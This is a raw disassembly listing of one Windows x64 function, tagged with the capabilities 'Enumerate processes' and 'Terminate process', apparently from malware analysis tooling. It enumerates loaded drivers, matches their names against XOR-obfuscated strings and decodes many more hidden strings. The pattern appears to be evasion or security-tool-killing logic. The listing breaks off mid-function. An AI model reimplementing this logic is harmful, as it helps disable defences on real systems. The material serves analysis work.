Function at 0x14001b020
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4fe0]
mov eax, 0x50e0
call fcn.14008b230
sub rsp, rax
mov rax, qword [0x1401c4400]
xor rax, rsp
mov qword [rbp + 0x4fd0], rax
mov ecx, 0x1000
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x14001cbdd
lea r8, [rbp + 0x110]
mov edx, 0x4000
lea rcx, [rbp + 0x7d0]
call sub.KERNEL32.dll_K32EnumDeviceDrivers
xor r15d, r15d
mov rdi, 0xffffffffffffffff
movabs r12, 0x9ff6209276d26f7b
movabs r14, 0xdbc0b7efc340c188
test eax, eax
je 0x14001b322
mov eax, dword [rbp + 0x110]
cmp eax, 0x4000
jae 0x14001b322
shr eax, 3
test eax, eax
je 0x14001b322
mov esi, eax
mov ebx, r15d
movabs r13, 0xea9445d606a61b33
nop word [rax + rax]
mov r8d, 0x800
lea rdx, [rbp + 0x47d0]
mov rcx, qword [rbp + rbx*8 + 0x7d0]
call sub.KERNEL32.dll_K32GetDeviceDriverBaseNameA
test eax, eax
je 0x14001b316
xorps xmm0, xmm0
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], r15
mov qword [rbp + 0x278], r15
lea rax, [rbp + 0x47d0]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14001b124
lea rdx, [rbp + 0x47d0]
lea rcx, [rbp + 0x260]
call fcn.1400046e0
nop
movabs rax, 0xec8545f119a01f10
mov qword [rsp + 0x50], rax
movabs rax, 0xdbc0c58aa823a0e0
mov qword [rsp + 0x58], rax
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2d8], r14
movdqu xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0x280], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x260]
call fcn.14001af10
cmp rax, 0xffffffffffffffff
jne 0x14001d595
mov qword [rbp - 0x50], r13
movabs rax, 0xdbc0b7efc340c1ef
mov qword [rbp - 0x48], rax
mov qword [rbp + 0x2e0], r12
mov qword [rbp + 0x2e8], r14
movdqu xmm0, xmmword [rbp - 0x50]
xorps xmm0, xmmword [rbp + 0x2e0]
movdqa xmmword [rbp + 0x280], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x260]
call fcn.14001af10
cmp rax, 0xffffffffffffffff
jne 0x14001d230
movabs rax, 0x9ff6209276b41f15
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], r14
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], r14
movdqu xmm0, xmmword [rbp - 0x40]
xorps xmm0, xmmword [rbp + 0x2f0]
movdqa xmmword [rbp + 0x280], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x260]
call fcn.14001af10
cmp rax, 0xffffffffffffffff
jne 0x14001ced7
movabs rax, 0xfb9f68fc17a6062f
mov qword [rbp - 0x30], rax
movabs rax, 0xdbc0b7efc340c1ed
mov qword [rbp - 0x28], rax
mov qword [rbp + 0x300], r12
mov qword [rbp + 0x308], r14
movdqu xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp + 0x300]
movdqa xmmword [rbp + 0x280], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x260]
call fcn.14001af10
cmp rax, 0xffffffffffffffff
jne 0x14001cc0f
movabs rax, 0xc0b26fe204b30728
mov qword [rsp + 0x30], rax
movabs rax, 0xdbc0b7efc336b3cc
mov qword [rsp + 0x38], rax
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
movdqu xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x280], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x260]
call fcn.14001af10
cmp rax, 0xffffffffffffffff
jne 0x14001c905
lea rcx, [rbp + 0x260]
call fcn.1400054c0
inc rbx
cmp rbx, rsi
jl 0x14001b0e0
movabs rax, 0xb19142f60fbe0314
mov qword [rbp + 0x250], rax
movabs r13, 0xdbc0b7efc325b9ed
mov qword [rbp + 0x258], r13
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x320], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001b390
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x310]
call fcn.1400046e0
nop
movabs rax, 0xe7a941fe1aab0c28
mov qword [rbp + 0x250], rax
movabs rax, 0xdbc0d297a66ef5be
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x340], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14001b413
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x330]
call fcn.1400046e0
nop
movabs rax, 0xfad847f012e65903
mov qword [rbp + 0x250], rax
movabs rsi, 0xdbc0b7efc340a4f0
mov qword [rbp + 0x258], rsi
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x360], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14001b496
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x350]
call fcn.1400046e0
nop
movabs rax, 0xfad847f012e05c03
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], rsi
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x380], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14001b510
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x370]
call fcn.1400046e0
nop
movabs rax, 0x9f9358f758b7061f
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], r14
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x390], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3a0], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001b590
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x390]
call fcn.1400046e0
nop
movabs rax, 0xb18145fb00a20c0f
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], r13
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3c0], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001b610
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x3b0]
call fcn.1400046e0
nop
movabs rbx, 0xec9855e019a61a1a
mov qword [rbp + 0x250], rbx
movabs rax, 0xdbc0b7efa638a4a6
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3e0], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14001b693
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x3d0]
call fcn.1400046e0
nop
mov qword [rbp + 0x250], rbx
movabs rax, 0xdbc0b78abb25efeb
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x400], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001b710
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x3f0]
call fcn.1400046e0
nop
movabs rax, 0xb1984fff13be061d
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], r13
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x410], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x420], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001b790
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x410]
call fcn.1400046e0
nop
movabs rax, 0xb1984fff15bd1d0b
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], r13
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x430], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x440], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001b810
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x430]
call fcn.1400046e0
nop
movabs rax, 0xfad84efd1bb50a09
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], rsi
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x450], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x460], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001b890
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x450]
call fcn.1400046e0
nop
movabs rax, 0xb18658f715bd1d0b
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], r13
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x470], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x480], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001b910
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x470]
call fcn.1400046e0
nop
movabs rax, 0xfa8e45bc07b30b12
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], r14
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x490], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4a0], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001b990
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x490]
call fcn.1400046e0
nop
movabs rax, 0xfad814a407b30b12
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], rsi
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x4b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4c0], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001ba10
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x4b0]
call fcn.1400046e0
nop
movabs rax, 0x9f9358f758b30b12
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], r14
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x4d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4e0], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001ba90
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x4d0]
call fcn.1400046e0
nop
movabs rax, 0xe7930ea640b30b12
mov qword [rbp + 0x250], rax
movabs rax, 0xdbc0b7efc340c1ed
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x4f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x500], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14001bb13
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x4f0]
call fcn.1400046e0
nop
movabs rax, 0xe68249fc03bf0232
mov qword [rbp + 0x260], rax
movabs rax, 0xa9a5d088b622a4cc
mov qword [rbp + 0x268], rax
movabs rax, 0x9b4f87d0374511b3
mov qword [rbp + 0x270], rax
movabs rbx, 0x9b4fc80500373b52
mov qword [rbp + 0x278], rbx
movups xmm0, xmmword [rbp + 0x260]
movups xmm1, xmmword [rbp + 0x270]
mov qword [rbp + 0x260], r12
mov qword [rbp + 0x268], r14
movabs rsi, 0x9b4f87d0523d749d
mov qword [rbp + 0x270], rsi
mov qword [rbp + 0x278], rbx
xorps xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x280], xmm0
xorps xmm1, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x290], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x510], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x520], xmm1
lea rax, [rbp + 0x280]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14001bbe6
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x510]
call fcn.1400046e0
nop
movabs rax, 0xed9748e113a0062c
mov qword [rbp + 0x250], rax
movabs rax, 0xdbc0b78abb25efe3
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x530], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x540], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001bc70
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x530]
call fcn.1400046e0
nop
movabs rax, 0xb18641f106bf1a1f
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], r13
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x550], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x560], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001bcf0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x550]
call fcn.1400046e0
nop
movabs rax, 0xf38658d71dbd0033
mov qword [rbp + 0x260], rax
movabs rax, 0xbeb8d2c1b125b3e7
mov qword [rbp + 0x268], rax
mov qword [rbp + 0x270], rsi
mov qword [rbp + 0x278], rbx
movups xmm0, xmmword [rbp + 0x260]
movups xmm1, xmmword [rbp + 0x270]
mov qword [rbp + 0x260], r12
mov qword [rbp + 0x268], r14
mov qword [rbp + 0x270], rsi
mov qword [rbp + 0x278], rbx
xorps xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x280], xmm0
xorps xmm1, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x290], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x570], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x580], xmm1
lea rax, [rbp + 0x280]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14001bda5
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x570]
call fcn.1400046e0
nop
movabs rax, 0xdaa454e019a20232
mov qword [rbp + 0x250], rax
movabs rax, 0xdbc0b78abb25efcb
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x590], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5a0], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001be30
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x590]
call fcn.1400046e0
nop
movabs rax, 0xb1854cfd19862a2b
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], r13
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x5b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5c0], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001beb0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x5b0]
call fcn.1400046e0
nop
movabs rax, 0xfad865c212a00037
mov qword [rbp + 0x250], rax
movabs rax, 0xdbc0b7efc340a4f0
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x5d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5e0], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14001bf33
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x5d0]
call fcn.1400046e0
nop
movabs rax, 0xb18641f106bf1a1f
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], r13
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x5f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x600], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001bfb0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x5f0]
call fcn.1400046e0
nop
movabs rax, 0xfa8653fc3fa11628
mov qword [rbp + 0x260], rax
movabs rax, 0xbeb8d2c1b12fb5eb
mov qword [rbp + 0x268], rax
mov qword [rbp + 0x270], rsi
mov qword [rbp + 0x278], rbx
movups xmm0, xmmword [rbp + 0x260]
movups xmm1, xmmword [rbp + 0x270]
mov qword [rbp + 0x260], r12
mov qword [rbp + 0x268], r14
mov qword [rbp + 0x270], rsi
mov qword [rbp + 0x278], rbx
xorps xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x280], xmm0
xorps xmm1, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x290], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x610], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x620], xmm1
lea rax, [rbp + 0x280]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14001c065
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x610]
call fcn.1400046e0
nop
movabs rax, 0xfe9841cd15bd1d0b
mov qword [rbp + 0x260], rax
movabs rax, 0xa3a5999da63ab8e4
mov qword [rbp + 0x268], rax
movabs rax, 0x9b4f87d0523d74f8
mov qword [rbp + 0x270], rax
mov qword [rbp + 0x278], rbx
movups xmm0, xmmword [rbp + 0x260]
movups xmm1, xmmword [rbp + 0x270]
mov qword [rbp + 0x260], r12
mov qword [rbp + 0x268], r14
mov qword [rbp + 0x270], rsi
mov qword [rbp + 0x278], rbx
xorps xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x280], xmm0
xorps xmm1, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x290], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x630], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x640], xmm1
lea rax, [rbp + 0x280]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14001c124
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x630]
call fcn.1400046e0
nop
movabs rax, 0xe69a41fc37a11608
mov qword [rbp + 0x250], rax
movabs rax, 0xdba5cf8aed32a4f2
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x650], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x660], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001c1b0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x650]
call fcn.1400046e0
nop
movabs rax, 0xf69e7ff410bb0108
mov qword [rbp + 0x250], rax
movabs rax, 0xdbc0b78abb25effc
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x670], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x680], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14001c233
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x670]
call fcn.1400046e0
nop
movabs rax, 0xfad847f012bc060c
mov qword [rbp + 0x250], rax
movabs rax, 0xdbc0b7efc340a4f0
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x690], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6a0], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14001c2b6
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x690]
call fcn.1400046e0
nop
movabs rax, 0xf09558fd14b70011
mov qword [rbp + 0x260], rax
movabs rax, 0xa3a59983ac32b5e6
mov qword [rbp + 0x268], rax
movabs rax, 0x9b4f87d0523d74f8
mov qword [rbp + 0x270], rax
mov qword [rbp + 0x278], rbx
movups xmm0, xmmword [rbp + 0x260]
movups xmm1, xmmword [rbp + 0x270]
mov qword [rbp + 0x260], r12
mov qword [rbp + 0x268], r14
mov qword [rbp + 0x270], rsi
mov qword [rbp + 0x278], rbx
xorps xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x280], xmm0
xorps xmm1, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x290], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x6b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6c0], xmm1
lea rax, [rbp + 0x280]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14001c375
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x6b0]
call fcn.1400046e0
nop
movabs rax, 0xfa8558fd14b70011
mov qword [rbp + 0x260], rax
movabs rax, 0xbeb8d2c1b125b7fa
mov qword [rbp + 0x268], rax
mov qword [rbp + 0x270], rsi
mov qword [rbp + 0x278], rbx
movups xmm0, xmmword [rbp + 0x260]
movups xmm1, xmmword [rbp + 0x270]
mov qword [rbp + 0x260], r12
mov qword [rbp + 0x268], r14
mov qword [rbp + 0x270], rsi
mov qword [rbp + 0x278], rbx
xorps xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x280], xmm0
xorps xmm1, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x290], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x6d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6e0], xmm1
lea rax, [rbp + 0x280]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001c430
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x6d0]
call fcn.1400046e0
nop
movabs rax, 0xb18445fe12b6061d
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], r13
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x6f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x700], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001c4b0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x6f0]
call fcn.1400046e0
nop
movabs rax, 0xfad812a1018d190f
mov qword [rbp + 0x250], rax
movabs rax, 0xdbc0b7efc340a4f0
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x710], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x720], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x14001c533
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x710]
call fcn.1400046e0
nop
movabs rax, 0xfad814a40e8d190f
mov qword [rbp + 0x250], rax
movabs rax, 0xdbc0b7efc340a4f0
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], r14
xorps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x730], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x740], xmm1
lea rax, [rbp + 0x250]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
